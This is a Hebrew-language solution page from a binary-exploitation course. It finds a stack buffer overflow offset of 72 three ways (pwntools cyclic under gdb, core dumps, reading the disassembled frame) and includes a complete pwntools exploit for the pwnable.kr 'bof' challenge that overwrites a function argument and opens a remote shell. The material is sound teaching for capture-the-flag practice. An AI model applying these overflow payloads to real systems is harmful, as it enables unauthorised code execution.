2.2 מציאת offset עם cyclic פתרון
פתרון - מציאת ה-offset בשלוש דרכים¶
נעבור על שלוש השיטות בזו אחר זו. שימו לב שכולן צריכות להחזיר את אותו מספר: 72. אם קיבלתם משהו אחר באחת מהן, כנראה שקראתם מהאוגר הלא נכון או ספרתם שדה פעמיים. בסוף נפתור גם את תרגיל הבונוס bof.
תזכורת על הבינארי: buf[64] על מחסנית של 64 ביט, בלי canary ובלי PIE. לכן ה-offset הצפוי הוא 64 בתים של הbuffer ועוד 8 בתים של saved rbp, סך הכל 72.
פתרון תרגיל 1 - offset עם cyclic ב-gdb¶
ראשית מייצרים את קובץ הרצף:
מריצים תחת gdb ומזינים את הקובץ:
pwndbg> run < pat
Program received signal SIGSEGV, Segmentation fault.
...
*RIP 0x61616173616161...
*RSP 0x7fffffffe1c8
התוכנית קרסה על ה-ret, כי הערך שנדרס על הreturn address אינו כתובת חוקית. קוראים את 4 הבתים התחתונים של RIP ומתרגמים ל-offset:
pwndbg> cyclic -l 0x61616173
Finding cyclic pattern of 4 bytes: b'saaa' (hex: 0x73616161)
Found at offset 72
אותו דבר מ-Python, נוח לאוטומציה:
למה זה עבד / איך להכליל: ברצף דה-ברוין כל חלון של 4 בתים ייחודי, אז ה-4 בתים שנחתו על RIP מזהים באופן חד-משמעי את המיקום שממנו הם באו. זו הדרך המהירה ביותר כשיש לכם gdb בהישג יד. הכלל: להריץ עם הרצף, לקרוא את הערך שנדרס, לתרגם עם cyclic -l או cyclic_find. ב-64 ביט לוקחים תמיד את 32 הביט התחתונים.
פתרון תרגיל 2 - offset מתוך core dump¶
מגדירים את הסביבה לכתיבת core:
ulimit -c unlimited
cat /proc/sys/kernel/core_pattern
# if you see something starting with | (systemd-coredump / apport), change it to a plain file:
echo core | sudo tee /proc/sys/kernel/core_pattern
מריצים מחוץ ל-gdb כדי לייצר את ה-core:
הכיתוב (core dumped) מאשר שנוצר core. עכשיו מחלצים ממנו, קודם עם gdb:
ואותו דבר עם pwntools, בלי לפתוח gdb בכלל:
from pwn import *
context.arch = 'amd64'
core = Coredump('./core')
log.info("RIP = %#x", core.rip)
offset = cyclic_find(core.rip & 0xffffffff)
log.success("offset = %d", offset) # 72
ואפילו בלי לגעת ב-ulimit ידנית, כשמריצים את התהליך דרך pwntools הוא אוסף את ה-core לבד:
from pwn import *
context.arch = 'amd64'
io = process('./vuln')
io.sendline(cyclic(200))
io.wait()
core = io.corefile
log.success("offset = %d", cyclic_find(core.rip & 0xffffffff)) # 72
למה זה עבד / איך להכליל: ה-core הוא תמונת מצב מלאה של הרגע שבו התהליך קרס, כולל כל האוגרים. לכן אפשר לחלץ ממנו את הערך שנדרס גם הרבה אחרי הקריסה ובלי לחזור על ההרצה. זו השיטה החשובה כשאין לכם gdb מחובר בזמן הקריסה, כמו בתקיפת שירות מרוחק שקרס אצלכם מקומית. שימו לב לשני המכשולים הנפוצים: ulimit -c שנשאר 0, ו-core_pattern ששולח את ה-core לשירות מערכת במקום לקובץ.
פתרון תרגיל 3 - חישוב ידני מה-frame¶
מפרקים את הפונקציה:
0000000000401156 <vuln>:
401156: push rbp
401157: mov rbp,rsp
40115a: sub rsp,0x40
40115e: lea rax,[rbp-0x40]
401162: mov edx,0x100
401167: mov rsi,rax
40116a: mov edi,0x0
40116f: call 401050 <read@plt>
קוראים את המפה מהדיסאסמבלי:
- ההוראה
lea rax,[rbp-0x40]מגלה שהbufferbufמתחיל ב-rbp-0x40, כלומר 64 בתים מתחת ל-rbp השמור. - האוגר השמור saved rbp יושב בדיוק ב-
rbp(offset 0x40 מתחילת buf). - הreturn address יושבת ב-
rbp+8(offset 0x40+8 מתחילת buf).
לכן המרחק מתחילת buf עד הreturn address:
בדיוק 72, כמו בשתי השיטות הקודמות.
למה זה עבד / איך להכליל: מבנה ה-frame קבוע וגלוי בקוד עצמו. ה-lea שמחשב את כתובת הbuffer הוא המפתח: הוא נותן את המיקום של buf יחסית ל-rbp, ומשם החישוב עד rbp+8 הוא טריוויאלי. אל תיתנו לערך של sub rsp, 0x40 לבלבל אתכם, לפעמים הוא גדול מגודל הbuffer בגלל alignment מחסנית, אבל אנחנו מודדים יחסית ל-rbp דרך ה-lea, אז זה לא רלוונטי. השיטה הזו מצוינת לאימות, ולמקרים שבהם אין לכם בכלל סביבת הרצה.
פתרון תרגיל 4 (בונוס) - bof מ-pwnable.kr¶
מבנה הקוד של האתגר (מקוצר):
void func(int key) {
char overflowme[32];
gets(overflowme); // overflow
if (key == 0xcafebabe) {
system("/bin/sh");
}
}
int main() {
func(0xdeadbeef);
}
זה בינארי 32 ביט, וההבדל המהותי: הערך שאנחנו רוצים לשלוט בו הוא הארגומנט key, שנמצא על המחסנית מעל הreturn address (כי 32 ביט מעביר ארגומנטים על המחסנית). לכן ה-offset שאנחנו מחפשים הוא מתחילת overflowme עד השדה של key, והוא עובר דרך saved ebp והreturn address בדרך.
מוצאים את ה-offset מקומית עם cyclic. מזינים רצף, מסתכלים איזה חלון נחת על השדה של key (אפשר לשים breakpoint על ההשוואה ולבדוק את הערך שם), ומתרגמים:
from pwn import *
context.arch = 'i386'
# feed cyclic(64) to the binary under gdb, set a breakpoint on the comparison,
# read the value found where key sits, and run:
# cyclic_find(<value>) -> 52
ה-offset שיוצא הוא 52. עכשיו בונים את ה-exploit ושוגרים מול השירות המרוחק:
#!/usr/bin/env python3
from pwn import *
context.arch = 'i386'
OFFSET = 52
payload = b'A' * OFFSET
payload += p32(0xcafebabe) # overwrite key with the magic value
# io = process('./bof') # for local testing
io = remote('pwnable.kr', 9000) # the remote service
io.sendline(payload)
io.interactive()
בתוך ה-shell שנפתח קוראים את ה-flag:
למה זה עבד / איך להכליל: אותה שיטת cyclic בדיוק, רק שכאן מדדנו offset עד ארגומנט ולא עד הreturn address. זה ההבדל המרכזי בין השיעור הזה למקרה הקלאסי: מה שאנחנו דורסים תלוי במבנה ה-frame ובקונבנציית הקריאה, ו-cyclic סופר את כל השדות שבדרך (saved ebp, הreturn address) בשבילנו. הכלל שנשאר איתכם: קבעו קודם איזה שדה אתם רוצים לשלוט בו, מלאו ברצף, קראו איזה חלון נחת שם, ותנו ל-cyclic לתת לכם את המרחק המדויק. הזהירות היחידה: לוודא שקראתם את הערך מהמקום הנכון, כי offset לשדה אחד יכול להיות שונה ב-4 או 8 בתים מ-offset לשדה שכן לו.